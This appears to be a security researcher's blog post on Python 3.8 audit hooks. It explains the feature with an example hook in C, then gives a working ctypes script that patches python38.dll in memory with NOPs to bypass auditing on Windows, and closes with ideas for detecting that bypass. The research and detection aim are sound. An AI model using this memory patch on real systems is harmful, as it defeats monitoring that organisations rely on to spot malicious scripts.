First of all, if you think you’re being cool and edgy by still using Python2.7, I’m gonna need you to unthink that ASAP. Python2.7 is reaching end-of-life very soon and we should all be moving on up…to the 3 side…and finally get async with that Py.
That joke might go over a lot of heads.

Anyway, this post is likely to be the first in a multi-part series of talking about a new feature that is
coming in Python 3.8 called audit hooks
. This first entry will discuss what audit hooking is and how
to bypass it as an attacker on a Windows system. Future entries may include other operating systems and/or
different methods of approach to accomplishing the same goal.
This testing was performed on Windows 10 version 1809 using 32-bit Python 3.8.0b2.
What is audit hooking?
In Python 3.8, which is scheduled to be released October 2019, a new security feature is being implemented called “audit hooks”. According to PEP 578 and PEP 551, the purpose of audit hooking is to allow transparency into Python’s runtime so that events can be monitored and logged just like any other process. I highly recommend reading through both PEPs before continuing with this blog post, but the general idea is that adding Python to environments can increase an attack surface for malicious behavior and there is not much organizations can do to have insight when a Python script is run. If you were to monitor a Python script process, you’d typically just see command line arguments and not much else.
PEP 551 outlines measures that organizations can take in order to help secure Python in production
environments, and even touches on the concept of changing the entry point for a Python executable (which will
be addressed as spython
from here on). Changing the entry point allows for defenders to add additional
security measures suitable to their environment for monitoring and logging. PEP 587 is an instance of this
security concept, as it demonstrates that you can add a variety of actions from logging to full on prevention
of arbitrary actions.
Steve Dower (@zooba), a core developer, has given talks on implementation of
spython
and highlights many of the benefits of the proposal. He heavily stresses that the purpose of audit
hooking isn’t prevention, but it is to allow an organization to know what is happening on their systems.
Okay but SHOW me audit hooking!
Steve shows an applied concept in the video but for this bypass, we’re going to use a different kind of hook from his Github. Let’s take a look at the NetworkPrompt example:
>>> from urllib.request import urlopen
>>> urlopen("http://example.com").read()
WARNING: Attempt to resolve example.com:80. Continue [Y/n]
y
WARNING: Attempt to connect 93.184.216.34:80. Continue [Y/n]
y
b'<!doctype html>\n<html>\n<head>\n ...
If you watched the video or read the PEPs, you’d have noticed that there are two proposed ways of
accomplishing the hooks. One is the easier way, which is just a set of functions inside of your python
application that are added as hooks using sys.addaudithook()
. However, these hooks will only be in the
context of the running application. The second way is more complex, as it involves what is essentially
distributed a modified version of the Python executable by changing the entry point. The bypasses that are
shown in this series will be in the context of the latter (the spython
method).
In this example, we can see that the NetworkPrompt example intercepts socket events and prompts the user to confirm before they continue. The code that performs this security check is written in native C:
#include "Python.h"
#include "opcode.h"
#include <locale.h>
#include <string.h>
static int
network_prompt_hook(const char *event, PyObject *args, void *userData)
{
/* Only care about 'socket.' events */
if (strncmp(event, "socket.", 7) != 0) {
return 0;
}
PyObject *msg = NULL;
/* So yeah, I'm very lazily using PyTuple_GET_ITEM here.
Not best practice! PyArg_ParseTuple is much better! */
if (strcmp(event, "socket.getaddrinfo") == 0) {
msg = PyUnicode_FromFormat("WARNING: Attempt to resolve %S:%S",
PyTuple_GET_ITEM(args, 0), PyTuple_GET_ITEM(args, 1));
} else if (strcmp(event, "socket.connect") == 0) {
PyObject *addro = PyTuple_GET_ITEM(args, 1);
msg = PyUnicode_FromFormat("WARNING: Attempt to connect %S:%S",
PyTuple_GET_ITEM(addro, 0), PyTuple_GET_ITEM(addro, 1));
} else {
msg = PyUnicode_FromFormat("WARNING: %s (event not handled)", event);
}
if (!msg) {
return -1;
}
fprintf(stderr, "%s. Continue [Y/n]\n", PyUnicode_AsUTF8(msg));
Py_DECREF(msg);
int ch = fgetc(stdin);
if (ch == 'n' || ch == 'N') {
exit(1);
}
while (ch != '\n') {
ch = fgetc(stdin);
}
return 0;
}
#ifdef MS_WINDOWS
int
wmain(int argc, wchar_t **argv)
{
PySys_AddAuditHook(network_prompt_hook, NULL);
return Py_Main(argc, argv);
}
#else
int
main(int argc, char **argv)
{
PySys_AddAuditHook(network_prompt_hook, NULL);
return _Py_UnixMain(argc, argv);
}
#endif
The wmain
and main
functions explicitly show that the hooks are added before the main entry point of
Python is reached.
How Auditing occurs
The concept of the sys.audit
call acts very similar to how AMSI works for Powershell. When an action of
interest is executed, Python determines whether or not the action matches an audit rule and acts accordingly.
There’s a variety of hooks still being built into Python 3.8, but some of the current ones include imports,
sockets, and file accesses. With a debugger, we can find the location of PySys_Audit
and see this in action when
an import
occurs:


The important thing to take away from these pictures is that the hooking function is provided by
python38.dll
, which means that just like AMSI checks for Powershell, there is likely a function that
determines if auditing needs to occur. As it is happens, there is a list of hook functions and data that is
maintained and appended to by PySys_AddAuditHook
, according the Python sys
module source code.
_Py_AuditHookEntry *e = _PyRuntime.audit_hook_head;
if (!e) {
e = (_Py_AuditHookEntry*)PyMem_RawMalloc(sizeof(_Py_AuditHookEntry));
_PyRuntime.audit_hook_head = e;
} else {
while (e->next) {
e = e->next;
}
e = e->next = (_Py_AuditHookEntry*)PyMem_RawMalloc(
sizeof(_Py_AuditHookEntry));
}
Bypassing the hook function
It might be possible to find the list in memory and overwrite the head with nothing, but I was able to determine an
even easier way to bypass hooking. At some point, when an action occurs that triggers a hook, the function
associated it with needs to be called. It appears that each hook function is called in succession with the
event that triggered as a parameter to determine the necessity of auditing (part 2 of this series will
discuss if this is true or not since only one hook is loaded in this spython
example).

EAX contains the hook address but it would be pretty dope if that call eax
never occurs, wouldn’t it? So
let’s patch those bytes in memory!
The method is on par with AMSI bypasses:
from urllib.request import urlopen
from ctypes import *
def bypass():
#Rename some kernel32 functions
GetProcAddress = windll.kernel32.GetProcAddress
MoveMemory = windll.kernel32.RtlMoveMemory
VirtualProtect = windll.kernel32.VirtualProtect
#Load the Python3.8 DLL and get the address of PySys Audit
print ("[+] Getting handle...")
pyDLL = windll.LoadLibrary("python38.dll")._handle
print ("[+] Getting function address...")
if (auditAddr := GetProcAddress(pyDLL, b'PySys_Audit')):
print ("[+] Got Audit Address -- ", hex(auditAddr))
pass
#Calculate the offset where "call eax" occurs and change memory permissions
print ("[+] Changing memory protect to read/write/execute...")
old = c_ulong(1)
if vpcheck := VirtualProtect(auditAddr + 0x11B, c_int(4), 0x40, byref(old)):
print ("[+] Successfully changed memory protection!")
pass
# Say "NOPE" with some NOPs and patch memory!
patch = bytes([0x90, 0x90])
memmove(auditAddr + 0x11B, patch, 2)
print ("[+] Audit hook bypassed")
bypass()
print("HTTP Status Code: ", urlopen("http://example.com").getcode())
In this method, we create a function called bypass
. We’ll need to import ctypes
(more on this in a bit) so
that we can easily access the winapi functions. We load the python38 DLL into memory, find the region where
the hook function is called and then replace it with some arbitrary NOPs so that the hook function is never
called! This is much cleaner than trying to remove the hooks altogether.
Output with no bypass:

Output with bypass:

Quick side note: You may have noticed the use of the walrus :=
operator. This is new to Python 3.8 and
allows you to declare a variable if the condition returns any type of True
value without having to check it
afterwards. Convenient!
Detecting an Audit Hook Bypass
Since Python 3.8 is still in beta, it’s difficult to state how detection will work in the future. In fact,
this approach may not even be valid at release (which is about 3 months away from the time of blog post).
However, Steve Dower has emphasized that this feature is not about preventing attacks, but is for detection.
This particular vector could be prevented with audit hooks that deny importing ctypes
but that is certainly
going to do more harm than good.
This may require an approach where you look for the absence of evidence in a chain of detection techniques.
For example, if you implement hooks for Windows logging, you may see an entry for importing ctypes
followed
by absolutely no other indicators from other hooks you might normally see. While this isn’t the greatest
method, that abnormality should be enough to warrant attention.
Additionally, Steve Dower and the Python fam are already aware of these possibilities so it may only require some time to think of a new implementation:

Conclusion
PowerShell has had its improvements so it is certainly time for Python to step up their game. However, you shouldn’t rely strictly on audit hooks to secure your Python environments but they will certain help to make Python less of an attack vector.
Thanks
Shout out to @TheRealWover, @realytcracker and @dnoiz1 for discussions and helping figure some things out. Shout out to failure for letting me patch the wrong page in memory for hours until I realized I was a dummy.